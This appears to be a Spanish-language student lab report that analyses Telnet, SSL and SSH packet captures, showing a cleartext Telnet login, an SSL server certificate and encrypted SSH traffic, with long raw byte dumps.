38 8.714880 192.168.0.1 192.168.0.2 TELNET 67 Telnet Data ...
Data: f
40 8.934088 192.168.0.2 192.168.0.1 TELNET 67 Telnet Data ...
Data: a


........... ..!.."..'.....#..%..%........... ..!..".."........P. ....".....b........b.....B.
........................"......'.....#..&..&..$..&..&..$.. .....#.....'........... .9600,9600....#.bam.zing.org:0.0....'..DISPLAY.bam.zing.org:0.0......xterm-color.............!.............."............
OpenBSD/i386 (oof) (ttyp1)

login: .."........"ffaakkee
.
Password:user
.
Last login: Thu Dec  2 21:32:59 on ttyp1 from bam.zing.org
Warning: no Kerberos tickets issued.
OpenBSD 2.6-beta (OOF) #4: Tue Oct 12 20:42:32 CDT 1999

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

$ llss
.
$ llss  --aa
.
.         ..        .cshrc    .login    .mailrc   .profile  .rhosts
$ //ssbbiinn//ppiinngg  wwwwww..yyaahhoooo..ccoomm
.
PING www.yahoo.com (204.71.200.74): 56 data bytes
64 bytes from 204.71.200.74: icmp_seq=0 ttl=239 time=73.569 ms
64 bytes from 204.71.200.74: icmp_seq=1 ttl=239 time=71.099 ms
64 bytes from 204.71.200.74: icmp_seq=2 ttl=239 time=68.728 ms
64 bytes from 204.71.200.74: icmp_seq=3 ttl=239 time=73.122 ms
64 bytes from 204.71.200.74: icmp_seq=4 ttl=239 time=71.276 ms
64 bytes from 204.71.200.74: icmp_seq=5 ttl=239 time=75.831 ms
64 bytes from 204.71.200.74: icmp_seq=6 ttl=239 time=70.101 ms
64 bytes from 204.71.200.74: icmp_seq=7 ttl=239 time=74.528 ms
64 bytes from 204.71.200.74: icmp_seq=9 ttl=239 time=74.514 ms
64 bytes from 204.71.200.74: icmp_seq=10 ttl=239 time=75.188 ms
64 bytes from 204.71.200.74: icmp_seq=11 ttl=239 time=72.925 ms
...^C
.--- www.yahoo.com ping statistics ---
13 packets transmitted, 11 packets received, 15% packet loss
round-trip min/avg/max = 68.728/72.807/75.831 ms
$ eexxiitt
.

Del análisis efectuado, se puede observar diferentes problemas de seguridad. Nombre de usuario, contraseña, sistema operativo y algunos comandos.

¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

login: .."........"ffaakkee
Password:user

¿Qué sistema operativo corre en la máquina?

OpenBSD 2.6-beta (OOF)

¿Qué comandos se ejecutan en esta sesión?

$ llss
.
$ llss  --aa
.
.         ..        .cshrc    .login    .mailrc   .profile  .rhosts
$ //ssbbiinn//ppiinngg  wwwwww..yyaahhoooo..ccoomm 

Segunda parte: analizando SSL

Para la segunda parte analizaremos el tráfico de una conexión ssl.


Tráfico conexión ssl
¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
Sí.

2 0.200000 65.54.179.198 10.1.1.2 SSLv3 1179 Server Hello, Certificate, Server Hello Done
signedCertificate
version: v3 (2)
serialNumber : 0x7c1e94347b1c04295b009392f5dc1f86

¿El certificado va en claro o está cifrado?
El paquete está cifrado.

¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

La autoridad que ha emitido el certificado es verisign

Certificate (id-at-commonName=login.passport.com,id-at-organizationalUnitName=Terms of use at www.verisign.com/r,id-at-organizationalUnitName=MSN Passport,id-at-organizationName=Microsoft,id-at-localityName=Redmond,id-at-stateOrProvinceNam

¿Qué asegura el certificado, la identidad del servidor o del cliente?

La identidad del servidor.

Análisis tráfico ssl mediante TCP Stream

.y....`...............
.................f........e..d..c..b..a..`..............@.............................|.K.'.:....)......T...F..A.....`...`]..3......v.N.%...... .......b.[..k`...0.Vx..........?.............0...0..e.......|..4{..)[.......0
..*.H..
.....0_1.0...U....US1 0...U.
..RSA Data Security, Inc.1.0,..U...%Secure Server Certification Authority0..
040901000000Z.
050901235959Z0..1.0...U....US1.0...U...
Washington1.0...U....Redmond1.0...U.
..Microsoft1.0...U....MSN Passport1301..U...*Terms of use at www.verisign.com/rpa (c)001.0...U....login.passport.com0..0
..*.H..
.........0......... .i.6.F.../...p.A.Q.6B..E+)d.!.<.....,3]..fMo.z...b
...+7..\...x'.....A.......0..z.n.T..N....8...2B.1..\..].m.E.4. .B.]....R.........d0..`0...U....0.0...U........0<..U...50301./.-.+http://crl.verisign.com/RSASecureServer.crl0D..U. .=0;09..`.H...E....0*0(..+.........https://www.verisign.com/rpa0...U.%..0...+.........+.......04..+........(0&0$..+.....0...http://ocsp.verisign.com0m..+........a0_.].[0Y0W0U..image/gif0!0.0...+..............k...j.H.,{..0%.#http://logo.verisign.com/vslogo.gif0
..*.H..
......~.]........J0..O?E-,..S..J.......r:.....H..9..S......T2.\.I...u...8.U...3...G..FG....I.0wt....
..a0p(n.p.....}2..2.o.0....3.P.b..............rv...).......F. |JI.KIX5..k..@.}. ..aq...O......KJ...i.........-,...y......y...Fg\.....#...w..1..G Ye...oZcI.<.7.`vN..h.s.-.-............8.B.fH$.......R...@n..t90.Q.'*. ..ex
..K... .W8.S...1.;.F..........8.J...W ....Qm\./.O...6...mS...,I....OAR7...6....
....].H......
.|...
..^H.[.....z..."..........U;._......Dg..=......16\Tv,.....X...[ 0......IBU^.K..F$..h..j./.-.....}x"gt............;2.B.I....9K..o...9v.-.....ef.......L..b%..z..h.@...FH&.t)5..k......"...;...:..q&.7zt.P..m....O......bt`Q33=M..nz..._D.1g.h.T.?.$..>.c....^<..y.|.....
.....Y.r....op.....s?Z..n.l../5..C....M..4.....P."..&.>......79....GD.
..cQ_X.....!.+.-zu....If...MBvH...G.!.........z....kD..M.&.Q;"JG\...`ij...C.........u..o...o.\;b.R....+L....vv.........vV.......x...uIn.'..
.|a..w.....C.3J.N..+................J..l\1.;.W.
$a"..u.@....LFT.. ....wwH.r..e.....5.. ....>MY.E..AH0/.j.P.|.?T..gM."M.p.u....(....)''E.o. .....Y.A..g.j..=....O..@h. ..zy....&.....ia....n.....\...'..d..j8R;.....H.....XTl..X.L..2.H.<.j0.PG]..tL......q.....0.G...H...,........}...u.TuA{...E.........O............)...W .......C...f$.:...HG:........EU...C.......'l.~.*-.c.8....P...H`......R...H...{z-O.YK......!~...v;l.........$z.#e.v'6...d...n..u...J..S..I....'..;l..eV...b..+0.....7..`...#.8N$..../4.q%..F..G0.T.09zl...7^o..}7....-R#....UO..|..........P.....f,....~4.;.+..9.H..''.p..":t.fTp...x&h7Y....@H....XF4.k{.........E..RqjY:..O....S..=..W..O2)..}z..F..d..z..L....z.......Z.........v(:).kl7t.....N.P.=[.......G...I.....3p~.....+...\.d.G.sFh|.9D+C..J.a@..:.....#..Y..............am..!Y.In.-.+..}..
. .p..L.c......}1.....a.We....u.T.if...i...,.U...A56...D1...jB.......l"mxw.....wY...t..t.L,.-~.=...i..
..].e...a.}...T...........r....L......D5.hx..(J....4h..:`......H...m.....6...`.\;.......PVF...e...Xe%...`.....P.4..o.p...E.=|..p....4./6.d.u...x....b0.j.*2.B,

Tercera parte: analizando SSH (22)

En la tercera parte analizaremos el protocol ssh, una manera más segura de conectarse de forma remota a servidores. Todo el tráfico va cifrado por lo que serás más difícil obtener información.

Tráfico conexión ssh.
¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

A partir de aquí comienza a establecer una conexión.

3 0.034430 192.168.0.14 193.146.78.18 TCP 66 58693 > ssh [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3324283 TSecr=160228394
4 0.034906 192.168.0.14 193.146.78.18 SSHv2 98 Encrypted request packet len=32

pero el intercambios de claves, no se produce hasta:

18 0.257815 192.168.0.14 193.146.78.18 SSHv2 82 Client: New Keys
19 0.330164 193.146.78.18 192.168.0.14 TCP 66 ssh > 58693 [ACK] Seq=2210 Ack=2441 Win=14272 Len=0 TSval=160228469 TSecr=3324339
20 0.330229 192.168.0.14 193.146.78.18 SSHv2 106 Encrypted request packet len=40
21 0.364593 193.146.78.18 192.168.0.14 TCP 66 ssh > 58693 [ACK] Seq=2210 Ack=2481 Win=14272 Len=0 TSval=160228477 TSecr=3324357
22 0.367151 193.146.78.18 192.168.0.14 SSHv2 106 Encrypted response packet len=40

¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?

4 0.034906 192.168.0.14 193.146.78.18 SSHv2 98 Encrypted request packet len=32

¿Es posible ver alguna información de usuario como contraseñas de acceso?
No es posible obtener información del usuario o contraseñas por que el acceso va cifrado. Sí que se puede ver la versión de ssh de cliente y de servidor.


SSH-2.0-OpenSSH_6.7p1 Debian-5
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze6
..........m"..N...8rr.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1...gssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....none,zlib@openssh.com,zlib....none,zlib@openssh.com,zlib.........................
.L...u......Wb@.....~diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1....ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se...ihmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96...ihmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....none,zlib@openssh.com....none,zlib@openssh.com............................".......... ...................#
#ur...#Xq^.....-kM...dP&;..e...9...g..H...'<~.._......|.........3...q.
...AJ..0...a....... \q*..H.....0....u.?.
1<2 ......av....="" ...m.x.="" ...xc....="" .q..="" 0...w..="" b..v..y.w....p="....a[r*" d..=".g.$.g...\....z.....AG.)...`Bp........#.9ZeD,..;.0%...." gr="" i.u..="" k..x..="" n-.="" s4="" t="" v....3u....="" v....t..3k..m..="" yr....q...5.="">.....$.]..........e.................... .......(J.a0q".........l...h.f.....<~b....H..^..&..6...}...r...48..Z.{............8...M..'3.?.....!..C..%)j.9....|q...........:..........@..?...z..nN..c....b....YF.....,...U.f.|n..+.y.=.^....l...gV....@....xsk..@.g#..t.I+VI...c../.?....w.!..=7.....M.x-.......j.c... H...j.w(..7.u..!>...r..(|}..=...i.m_S.uT.q..../.Ep....J'......z........[....`....E...k...$...S]....._../2v.'*.b...k.E.....`..........!........ssh-rsa.............*.Q.k...;d..~X..3X....B....#..\...m.5,.nI......E..Q.pK.4..........).
X.7..#....4a...........+7..........J5,.Q.|q.' ......Z.=..;-.f...=.a.,.^.D.......k...Bb.N.S.....^.L.....t.fWk..E..g\...<..M.K.E]..!.....:.l...qT......l...Gr..."..5jl...F..y..ml0.....MX#"?....q...H.$..kNv.......Gc...`..WM('..j.G.."eJ.G`.n7.......s...z%v.......rw...h..(.I...zq_..._..~.Cp..MqBv.
..hk.k>..1.U4v.`.6..T...=...........G..4.h{uO.....,.EI.Q....\.a].
w...g..V=..cPw..`.......K.n.....G.........(.=.Y...x._MA&a.9!.......J..LH9D^.<.Q.../..]BQa.k.+....>......1.Q..A..i._.~...vJ..K ...._...d
g..0.....'.$..B......`e.d...^....zf...ix~#.........?x].....N1..'N...w.e./:...h ........ssh-rsa....X..1Xs.ho.....t.O]...D..............h.BW(..s;..k.?..8.`.V^...<}..:.q...)......_w...\......3\5..'.q..(.W.?L"v,...A.9X....).n..IR...........5..p?..m..+G
.Sr..c..I.e..+`
.\.n\.............V.t}.......32.r.......t...b'..1.l-k..._.s.....H.|
....W..^X......W....F............
...............
............C.O..r#.P.\... .@M....]V&.u..h..~J......>E.5..2;...y".t.3H3u%.m.-"C........%..C.......;.=zP.....n.e.V..9w.v4...c.........3.*.....$c]t.].o..;.K..<..3.N.-A.6..XQK......5.:..........O...,g.....
,.......N...`..P...X.M.Fj.1bf...g..T.iM...#./....{}..[..5@?......'..11.....!.....9[...E8..gE..6.f......|.&..L.C. y..iM..Z.....%....4&!X...<..i....Kr.@..):....p..e..n.+Sp...E....i...m.f.P.g.9..aZ...Z.7....$..1.A.
.Kb&'.R....).......U..#....MSp..!.mm........m^_;.u.....nq.sT..S.SK..8...{.41.]iQ..g.C...+...2...M.....f.Jzw`I.
..........@o-s..HL.]6..V...R....H/.D_..$.).0Zc..r..p..J...,=....'e....~.)Vm...xG.f....&..P....s......%...w].C.0......
..}/I^..$.C]..#..QF.............. .....,R.....f.Oa
.....i.....?w..y.......m.......h.....!.
`..`ZXj*....aW1... Y.Rd..N..jJ..{.....B......]HO..7./...*.|.4{c..........u..v.R].2@l.KA.}......*...[......O......M.U..$.a
x..".`.....O... WA.&.........k.K.....EVz..(h.!...~...........P....-.5.W.c
.^....
.
~.
.........%........FTD0.....)..t>...]..jj....!..m.O.b...}...Q.=........Z.@ @M.0..
e...q.,;s.t........o......e"./.gh.x.@.Y..k.k9..tKn3.....%.D.....7.....:...H.tz'.nV.. t..F..........D..a.........G...e.J7.~..J.p.*..6.....K..l.....R....."[J@.O..+.../....X.;....A..|..B......,.....c....P..\Q.$#X.....~....d.K....y.s.D..G.....2$.....ZKdL..Jc...
...5e...?63.l........E+X..HK..R..-w...A5N....E4..
;Zs...K>Q.N./.=...:/..`....l4...={4..,s.JQ...O...^.kq.....@O.[!...r....S[... l.R...S\...........8...Y....l.K.....7~f ....T.g.....zqhQ^.....5.N..=.@,*.c:.a.7f7.z.we`...K....o[l.'SY.K[.Y~..R...fI.>.........Gw.g.F..t.@....MP.W......HmLI..l?.{1..t?i.............K v2.( .@.....=K#.X...... .H.......}.....2.\..u3 rv.../...j7+.sX[...%....... .(.z@@.....3..T?.$.w7....c.|.KP..4..-..%....9*N9....W#........$^T,(.....$...u=.?...[..6.jST.9k.Om..n0....g....w.s5uX....pP..<2 _l="y.T.T....#..M.J$?...k....Q......))_.Dd...m.K" i..f.ug8="">.?........Y...v.3.TN.......1v.m....,Vcn.. ...9...$u...*W1.?9./.OXa..X..$....RT.Q%.y....f. ......Z...?.e..-&....<.[..=E..U..........rVv5[<.qI^.;.?.7...../.....e..*.....K..W..dV%....>..H.:._.|..(....[g@...!<......a....g..`..=..Q.....<...[O..0..F*...[.v...{.j4...6F..c..N.c.'9f>.U>.....|....{.$......!..1........&...?Z..((.47o.z9..E.D..+.....%..."......1~.z2) :..bf........ ;..5.../.t/.0z.f&.B^.P......'........K...CHQ.......?=yY;.........}..K._.b7.K..wHV9.......%.gk...*....F.....'j.(."2...- .q..~.+.7~$jvW.QT..=.._...f...zO..~y.n..}B\AtIF...."...Ma.P..V.+0..:J......#'C..G7.R?t...Z...G'...OP..~#N]K..b.v4..~.. e.D.6..`j..Qo ....O?.^..aG\.........mW.....u....z4..{.}....Z.....z..&..n5....FC_....F..1j..6=$...&{.....tB.wa. .|2LVdcw..`.[..k.d.....^.....^.D...#d..+.%.9...+.?.....*.......D...h...d.d.l.[.9b..../..(zx....X'..3...G....I.6...R d.!.$.7.u.O:......$...1.....-/Y.T...".}}}...6"..l.....4.O.m9`Yy.j........$OC".+$....+..J.($..R.d-.."4Q .....f.+;..^..M."D.A.yk.@.Z.)....L`.g.......7.6.2. .3.4q.d.wM..]f2L.8I......{m+.o.... .:..(......................2..n.8^...&J$\.m3.......U...1bu.,..m~...xiF.W.h...f.....G.....@.F2.9g}\..k........R.hM}.].y.`.C9.(#....V...UG.....wn....-..O$..."0Op8.m'0g/q.i!.%2A\xek.|t2..T.\W.}..o.7.........D..,(.w5...P#....>o.........../.....}.i...j.....e.T.@....o..O..=..O...>A....l.?..K.%.:../.<|~.....D.,Q...$..k....|"...3.v$5.......+(\....Sy5....yK@....V..T..5..?8 .F...GP.w.MT.@......27:.`..&p......9V`...3A..q... ..dP..;wD\0 .e.....J~_...FY.A............o..*$.L).........Kis........8...K..d....k@.....3 ..R...C.H\/.a)..m....R...$..\...8.. .z....+3t.u)l.M..m....D.u.Y+......w..Q...M..0.A% ....D......l'i?\-.&.vl...l....0rw~.-Ls........4..D...k?<..8.$}...@>..m%...'..6..Bn.g...*.i$.......fP...w._^.P(.=.......i'.w....k"%...wEu:.4.*.o.2........,aBV... .M.X.n-.8.'b...G..eL.....Y..+.$+..=...=i..J...m,.?m..X?..c.<..9=....h.]P;z^ym...|......5.6.K.A.E....n..l.".....U.,.A.s..(d../v.H2w@x.K.....O.....f.Z.u........^........#D.;.r....t8.A..."S....@k..z...JK"@..aP...;...,w.(m.;.K32..1...W.M......}O....Y.nN.q.}..i3.......97.tq@....3./...Dy..G.BpIn.U.#....c..s..Ozq....f/.......M.U.nG..Y.............b....^...SH1...n....yYL.6......1.P.b.$......x*.......&Y...p..$..=.r..k..`..C. ..h..p5....}0............... 4........=&Q_xZ........J...>k......qf.....S.....+.G..J;.i...js.2.xUf...W.Hx(..g.,..v....t L.....8ej...x..|k:k..;/.=[....\.O..3..;.r.....p.Q.....~..9..e...6C.xg!Vs.K.m....K.6=.D..........B..g.t....me.....[v,nX..-....k.Lb.9...?.p..D......C.lW"..=.%...?......s}.....O.&Re...<.N..c..r...4..........|...3.....>*..o.{./8t}F..&...~.S.......hN.B...*2.>Qw...e..& .g..@.....rn.1Kpc....j.s../v. ......h.Q....XHh..........."~.B...Z.....kEq.5..ygW...p.....X...S=^.AU....M..|......qu........r+...Q.V[.B.Mi...m.kf-...r=....hV..>.M3.l.t....6.m`J,,.;....U...hJ....q.8.-+.i !.T..s....,qF.t.s@L{^..~....D.pq.+r...).g.... 8...Y...@W.+S....w.8....u........./